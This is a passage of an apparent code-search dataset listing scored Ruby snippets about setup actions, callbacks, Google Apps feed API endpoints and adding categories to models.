+'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "bfea4d21895187a799525503ef403d16", "score": "0.589884", "text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "352de4abc4d2d9a1df203735ef5f0b86", "score": "0.5889191", "text": "def required_action\n # TODO: implement\n end", "title": "" }, { "docid": "8713cb2364ff3f2018b0d52ab32dbf37", "score": "0.58780754", "text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "a80b33627067efa06c6204bee0f5890e", "score": "0.5863248", "text": "def actions\n\n end", "title": "" }, { "docid": "930a930e57ae15f432a627a277647f2e", "score": "0.58094144", "text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end", "title": "" }, { "docid": "33ff963edc7c4c98d1b90e341e7c5d61", "score": "0.57375425", "text": "def setup\n common_setup\n end", "title": "" }, { "docid": "a5ca4679d7b3eab70d3386a5dbaf27e1", "score": "0.57285565", "text": "def perform_setup\n end", "title": "" }, { "docid": "ec7554018a9b404d942fc0a910ed95d9", "score": "0.57149214", "text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "c85b0efcd2c46a181a229078d8efb4de", "score": "0.56900954", "text": "def custom_setup\n\n end", "title": "" }, { "docid": "100180fa74cf156333d506496717f587", "score": "0.56665677", "text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend", "title": "" }, { "docid": "2198a9876a6ec535e7dcf0fd476b092f", "score": "0.5651118", "text": "def initial_action; end", "title": "" }, { "docid": "b9b75a9e2eab9d7629c38782c0f3b40b", "score": "0.5648135", "text": "def setup_intent; end", "title": "" }, { "docid": "471d64903a08e207b57689c9fbae0cf9", "score": "0.56357735", "text": "def setup_controllers &proc\n @global_setup = proc\n self\n end", "title": "" }, { "docid": "468d85305e6de5748477545f889925a7", "score": "0.5627078", "text": "def inner_action; end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.5608873", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "432f1678bb85edabcf1f6d7150009703", "score": "0.5598699", "text": "def target_callbacks() = commands", "title": "" }, { "docid": "48804b0fa534b64e7885b90cf11bff31", "score": "0.5598419", "text": "def execute_callbacks; end", "title": "" }, { "docid": "5aab98e3f069a87e5ebe77b170eab5b9", "score": "0.5589822", "text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "482481e8cf2720193f1cdcf32ad1c31c", "score": "0.55084664", "text": "def required_keys(action)\n\n end", "title": "" }, { "docid": "353fd7d7cf28caafe16d2234bfbd3d16", "score": "0.5504379", "text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end", "title": "" }, { "docid": "dcf95c552669536111d95309d8f4aafd", "score": "0.5465574", "text": "def layout_actions\n \n end", "title": "" }, { "docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40", "score": "0.5464707", "text": "def on_setup(&block); end", "title": "" }, { "docid": "8ab2a5ea108f779c746016b6f4a7c4a8", "score": "0.54471064", "text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend", "title": "" }, { "docid": "e3aadf41537d03bd18cf63a3653e05aa", "score": "0.54455084", "text": "def before(action)\n invoke_callbacks *options_for(action).before\n end", "title": "" }, { "docid": "6bd37bc223849096c6ea81aeb34c207e", "score": "0.5437386", "text": "def post_setup\n end", "title": "" }, { "docid": "07fd9aded4aa07cbbba2a60fda726efe", "score": "0.54160327", "text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "9358208395c0869021020ae39071eccd", "score": "0.5397424", "text": "def post_setup; end", "title": "" }, { "docid": "cb5bad618fb39e01c8ba64257531d610", "score": "0.5392518", "text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "a468b256a999961df3957e843fd9bdf4", "score": "0.5385411", "text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53794575", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5357573", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "118932433a8cfef23bb8a921745d6d37", "score": "0.53487605", "text": "def register_action(action); end", "title": "" }, { "docid": "725216eb875e8fa116cd55eac7917421", "score": "0.5346655", "text": "def setup\n @controller.setup\n end", "title": "" }, { "docid": "39c39d6fe940796aadbeaef0ce1c360b", "score": "0.53448105", "text": "def setup_phase; end", "title": "" }, { "docid": "bd03e961c8be41f20d057972c496018c", "score": "0.5342072", "text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end", "title": "" }, { "docid": "c6352e6eaf17cda8c9d2763f0fbfd99d", "score": "0.5341318", "text": "def initial_action=(_arg0); end", "title": "" }, { "docid": "207a668c9bce9906f5ec79b75b4d8ad7", "score": "0.53243506", "text": "def before_setup\n\n end", "title": "" }, { "docid": "669ee5153c4dc8ee81ff32c4cefdd088", "score": "0.53025913", "text": "def ensure_before_and_after; end", "title": "" }, { "docid": "c77ece7b01773fb7f9f9c0f1e8c70332", "score": "0.5283114", "text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end", "title": "" }, { "docid": "1e1e48767a7ac23eb33df770784fec61", "score": "0.5282289", "text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "4ad1208a9b6d80ab0dd5dccf8157af63", "score": "0.52585614", "text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end", "title": "" }, { "docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7", "score": "0.52571374", "text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end", "title": "" }, { "docid": "fc88422a7a885bac1df28883547362a7", "score": "0.52483684", "text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end", "title": "" }, { "docid": "8945e9135e140a6ae6db8d7c3490a645", "score": "0.5244467", "text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "7b3954deb2995cf68646c7333c15087b", "score": "0.5236853", "text": "def after_setup\n end", "title": "" }, { "docid": "1dddf3ac307b09142d0ad9ebc9c4dba9", "score": "0.52330637", "text": "def external_action\n raise NotImplementedError\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.52300817", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "64a6d16e05dd7087024d5170f58dfeae", "score": "0.522413", "text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52226824", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "db0cb7d7727f626ba2dca5bc72cea5a6", "score": "0.521999", "text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end", "title": "" }, { "docid": "8d7ed2ff3920c2016c75f4f9d8b5a870", "score": "0.5215832", "text": "def pick_action; end", "title": "" }, { "docid": "7bbfb366d2ee170c855b1d0141bfc2a3", "score": "0.5213786", "text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end", "title": "" }, { "docid": "78ecc6a2dfbf08166a7a1360bc9c35ef", "score": "0.52100146", "text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end", "title": "" }, { "docid": "2aba2d3187e01346918a6557230603c7", "score": "0.52085197", "text": "def ac_action(&blk)\n @action = blk\n end", "title": "" }, { "docid": "4c23552739b40c7886414af61210d31c", "score": "0.5203262", "text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end", "title": "" }, { "docid": "691d5a5bcefbef8c08db61094691627c", "score": "0.5202406", "text": "def performed(action)\n end", "title": "" }, { "docid": "6a98e12d6f15af80f63556fcdd01e472", "score": "0.520174", "text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end", "title": "" }, { "docid": "d56f4ec734e3f3bc1ad913b36ff86130", "score": "0.5201504", "text": "def create_setup\n \n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "7fca702f2da4dbdc9b39e5107a2ab87d", "score": "0.5191404", "text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end", "title": "" }, { "docid": "063b82c93b47d702ef6bddadb6f0c76e", "score": "0.5178325", "text": "def setup(instance)\n action(:setup, instance)\n end", "title": "" }, { "docid": "9f1f73ee40d23f6b808bb3fbbf6af931", "score": "0.51765746", "text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "7a0c9d839516dc9d0014e160b6e625a8", "score": "0.5162045", "text": "def setup(request)\n end", "title": "" }, { "docid": "e441ee807f2820bf3655ff2b7cf397fc", "score": "0.5150735", "text": "def after_setup; end", "title": "" }, { "docid": "1d375c9be726f822b2eb9e2a652f91f6", "score": "0.5143402", "text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end", "title": "" }, { "docid": "c594a0d7b6ae00511d223b0533636c9c", "score": "0.51415485", "text": "def code_action_provider; end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51398855", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "2fcff037e3c18a5eb8d964f8f0a62ebe", "score": "0.51376045", "text": "def setup(params)\n end", "title": "" }, { "docid": "111fd47abd953b35a427ff0b098a800a", "score": "0.51318985", "text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end", "title": "" }, { "docid": "f2ac709e70364fce188bb24e414340ea", "score": "0.5115387", "text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "4c7a1503a86fb26f1e4b4111925949a2", "score": "0.5109771", "text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end", "title": "" }, { "docid": "63849e121dcfb8a1b963f040d0fe3c28", "score": "0.5107364", "text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend", "title": "" }, { "docid": "f04fd745d027fc758dac7a4ca6440871", "score": "0.5106081", "text": "def block_actions options ; end", "title": "" }, { "docid": "0d1c87e5cf08313c959963934383f5ae", "score": "0.51001656", "text": "def on_action(action)\n @action = action\n self\n end", "title": "" }, { "docid": "916d3c71d3a5db831a5910448835ad82", "score": "0.50964546", "text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end", "title": "" }, { "docid": "076c761e1e84b581a65903c7c253aa62", "score": "0.5093199", "text": "def add_callbacks(base); end", "title": "" } ]
c69547c36a21b11c548a14942ff406bc
Add a category to this property
[ { "docid": "2eb873aec6b06b072d2cee49aa97f00f", "score": "0.73674077", "text": "def add_category(cat)\n @categories << cat\n end", "title": "" } ]
[ { "docid": "bb5191185452484ecccab26268b7cd2a", "score": "0.7164578", "text": "def add_category(category)\r\n OpportunityCategory.create(opportunity_id: opportunity_id, category: category)\r\n end", "title": "" }, { "docid": "917cee99f1c080a5b327686ef6bff964", "score": "0.69208676", "text": "def add_category\n category_name = self.name.to_s.split('.').first\n # if one word then add to general category\n category_name = self.name.to_s.split('.').size == 1 ? 'general' : self.name.to_s.split('.').first\n self.category = TranslationCenter::Category.where(name: category_name).first_or_create\n self.last_accessed = Time.now\n end", "title": "" }, { "docid": "912fbe99e74d193e0d5dde2244cc44e0", "score": "0.69205856", "text": "def category=(val)\n attributes['category'] = val\n end", "title": "" }, { "docid": "974b39d481c04af8716dc7ba4c66cdf7", "score": "0.6902618", "text": "def category=(val)\n attributes['category'] = val\n end", "title": "" }, { "docid": "c365a554924f076999d44dbae4bba77c", "score": "0.6859256", "text": "def add (category)\n categories_copy = self.categories.deep_copy\n categories_copy[category.class.tag.to_s] = [] unless self.at(category.class.tag)\n categories_copy[category.class.tag.to_s].push(category)\n self.categories = categories_copy\n category\n end", "title": "" }, { "docid": "db23f6cc6028a88c1f2038a54253550f", "score": "0.68190914", "text": "def set_category(val)\n self.category = val\n self\n end", "title": "" }, { "docid": "a66f821ebaf07d059ca5d5dc857bade2", "score": "0.6804434", "text": "def add (category)\n @categories[category.class.tag.to_s] = [] unless self.at(category.class.tag)\n self.at(category.class.tag.to_s).push(category)\n end", "title": "" }, { "docid": "472697e88888e19edf73b5c75db4f420", "score": "0.6768278", "text": "def set_category(val)\n self.category = val\n self\n end", "title": "" }, { "docid": "ed58d8b9b6378991d3b4c4caf08499ab", "score": "0.67075235", "text": "def category=(value)\n @category = value\n end", "title": "" }, { "docid": "ed58d8b9b6378991d3b4c4caf08499ab", "score": "0.67075235", "text": "def category=(value)\n @category = value\n end", "title": "" }, { "docid": "ed58d8b9b6378991d3b4c4caf08499ab", "score": "0.67075235", "text": "def category=(value)\n @category = value\n end", "title": "" }, { "docid": "ed58d8b9b6378991d3b4c4caf08499ab", "score": "0.67075235", "text": "def category=(value)\n @category = value\n end", "title": "" }, { "docid": "ed58d8b9b6378991d3b4c4caf08499ab", "score": "0.67075235", "text": "def category=(value)\n @category = value\n end", "title": "" }, { "docid": "ed58d8b9b6378991d3b4c4caf08499ab", "score": "0.67075235", "text": "def category=(value)\n @category = value\n end", "title": "" }, { "docid": "ed58d8b9b6378991d3b4c4caf08499ab", "score": "0.67075235", "text": "def category=(value)\n @category = value\n end", "title": "" }, { "docid": "ed58d8b9b6378991d3b4c4caf08499ab", "score": "0.67075235", "text": "def category=(value)\n @category = value\n end", "title": "" }, { "docid": "d4cd3d009ad5857c4c3ac94f2f939c6e", "score": "0.6678198", "text": "def add_category(cat)\n categories << Category.find_by(name: cat)\n end", "title": "" }, { "docid": "74a624158b49ad71bd6a6f30066990ad", "score": "0.66632223", "text": "def setCategory(cat)\n @data['category'] = cat\n end", "title": "" }, { "docid": "74312a9a493621be7c9fb40d1fedc463", "score": "0.66308177", "text": "def add_cat(cat)\n @cats << cat\n end", "title": "" }, { "docid": "ab2369b01b8edc580762d94573f8164e", "score": "0.66181135", "text": "def add(category)\n if !@subcategories.include?(category) and !self.get_names.include?(category.name)\n @subcategories.push(category)\n end\n end", "title": "" }, { "docid": "42b96d9ab997c37304e1660244d30a0c", "score": "0.66042346", "text": "def add_category(category_name)\n @categories[category_name] = Category.new\n @categories[category_name].set_up_initial_values\n end", "title": "" }, { "docid": "f4456dd907cec2376e683cb6c90b12f9", "score": "0.65988356", "text": "def add_category(category)\n self.categories ||= [ ]\n self.categories << category unless self.categories.include? category\n self.categories.uniq\n end", "title": "" }, { "docid": "f4456dd907cec2376e683cb6c90b12f9", "score": "0.65988356", "text": "def add_category(category)\n self.categories ||= [ ]\n self.categories << category unless self.categories.include? category\n self.categories.uniq\n end", "title": "" }, { "docid": "3d56f1698bfedf45af21633b0addac75", "score": "0.6556676", "text": "def category=(category)\n write_attr :category, category\n end", "title": "" }, { "docid": "f0815dffdc7b00c4ce5ac425aa60ec82", "score": "0.6547575", "text": "def add_to_category\n @product = Product.find(params[:id])\n @category = Category.find(params[:category_select])\n @product.categories << @category\n end", "title": "" }, { "docid": "9cbbc4c952dc9470a695f9e8dd39877c", "score": "0.65248734", "text": "def add_category(category)\n @categories[prepare_category_name(category)] = Hash.new\n end", "title": "" }, { "docid": "fecd146846c2e30de746e132b365745d", "score": "0.6505259", "text": "def add_category_to_article\n @article = Article.find(params[:id])\n @category = Category.find(params[:category_id])\n\n @article.categories << @category\n end", "title": "" }, { "docid": "a1a11fd3ac986c3525207f138122d5d3", "score": "0.6457243", "text": "def add_category(name, type)\n category = Category.find_by(name: name.to_s.strip)\n if category.nil?\n category = Category.create(name: name.to_s.strip, type: type.to_s)\n end\n begin\n self.categories << category\n self.save\n rescue\n\n end\n end", "title": "" }, { "docid": "e482c38e857a0b6fa59db144b7ac0155", "score": "0.64504105", "text": "def add_category_on_kapp(kapp_slug, body, headers=default_headers)\n raise StandardError.new \"Category properties is not valid, must be a Hash.\" unless body.is_a? Hash\n @logger.info(\"Adding Category \\\"#{body['name']}\\\" for \\\"#{kapp_slug}\\\" kapp\")\n post(\"#{@api_url}/kapps/#{kapp_slug}/categories\", body, headers)\n end", "title": "" }, { "docid": "4f3f7f48fa0aca81331d4d53fa8a20a9", "score": "0.6382011", "text": "def add_categories category\n perform_put(\"/videos/#{get_id}/categories\")\n end", "title": "" }, { "docid": "34a82d12078fab5a1eff16b24a7c0f3e", "score": "0.6342832", "text": "def add_category(category)\n OrganizationCategory.create(email: email, category: category)\n end", "title": "" }, { "docid": "f35e7cd16a4ce2cca2a06e5343feef43", "score": "0.6340369", "text": "def add_to_category(category, info)\n if @categories.key?(category)\n @categories[category] << info\n else\n @categories[\"other\"] << info\n end\nend", "title": "" }, { "docid": "3cfeec88c125edde215d7620400031c1", "score": "0.6339376", "text": "def add_categories(ruby_value)\n self.categories_property << RiCal::PropertyValue::Array.convert(self, ruby_value)\n end", "title": "" }, { "docid": "de2de896ed7b2a0062aaef71ab7bcf67", "score": "0.6323709", "text": "def category_new=(new_category)\n empty = new_category[:name].nil? || new_category[:name].blank?\n if !empty\n category = Category.find_or_create_by(name: new_category[:name])\n self.category = category\n end\n end", "title": "" }, { "docid": "af6200770655ea9e84af3fa82bcfaeda", "score": "0.6312182", "text": "def add_category(category_name)\n not_implemented_error(__callee__)\n end", "title": "" }, { "docid": "56fa8ed4f479abaffb165299e1c7c885", "score": "0.62819666", "text": "def add_category(*new_categories)\n new_categories -= categories\n add_extra_categories new_categories\n end", "title": "" }, { "docid": "3eaa8cc280f85b1e6e8a55daad815f48", "score": "0.62607366", "text": "def add_category(category_name)\n if category_exists?(category_name)\n raise StandardError,\n \"Category with name '#{category_name}' is already exists!\"\n else\n increment_category_count\n @categories[category_name] = ::OmniCat::Classifiers::BayesInternals::Category.new(name: category_name)\n end\n end", "title": "" }, { "docid": "b40e29c7b4f286aacf6723895ce1bfdf", "score": "0.6227288", "text": "def add(item)\n return unless item.respond_to?(:category)\n\n @items << item\n\n updated\n end", "title": "" }, { "docid": "2e0a47fde337a86dddff4fad9c26bc61", "score": "0.62235874", "text": "def category=(category) #belongs to author interface\n raise AssociationTypeMismatchError, \"#{category.class} received, Category expected.\" if !category.is_a?(Category)\n @category = category\n category.add_story(self) unless category.stories.include?(self)\n end", "title": "" }, { "docid": "098850c2903687df184b7dd26e89b35d", "score": "0.6178505", "text": "def add_category(name)\n create(:user_id => User.current_user_id, :name => name)\n end", "title": "" }, { "docid": "6c0af8b6a529645c7f8ae2188a460c64", "score": "0.61628735", "text": "def add_category(cat_name)\n $game_system.notebook_categories.push(cat_name) unless $game_system.notebook_categories.include?(cat_name)\n end", "title": "" }, { "docid": "ff39183d91d474296b62751702773516", "score": "0.6154215", "text": "def category=(category)\n self.category_id = category.id\n @category = category\n end", "title": "" }, { "docid": "bd8594c9f006abdd2dec7a3ba9012aa6", "score": "0.6144718", "text": "def category(value = nil)\n if value\n @category = value\n else\n @category\n end\n end", "title": "" }, { "docid": 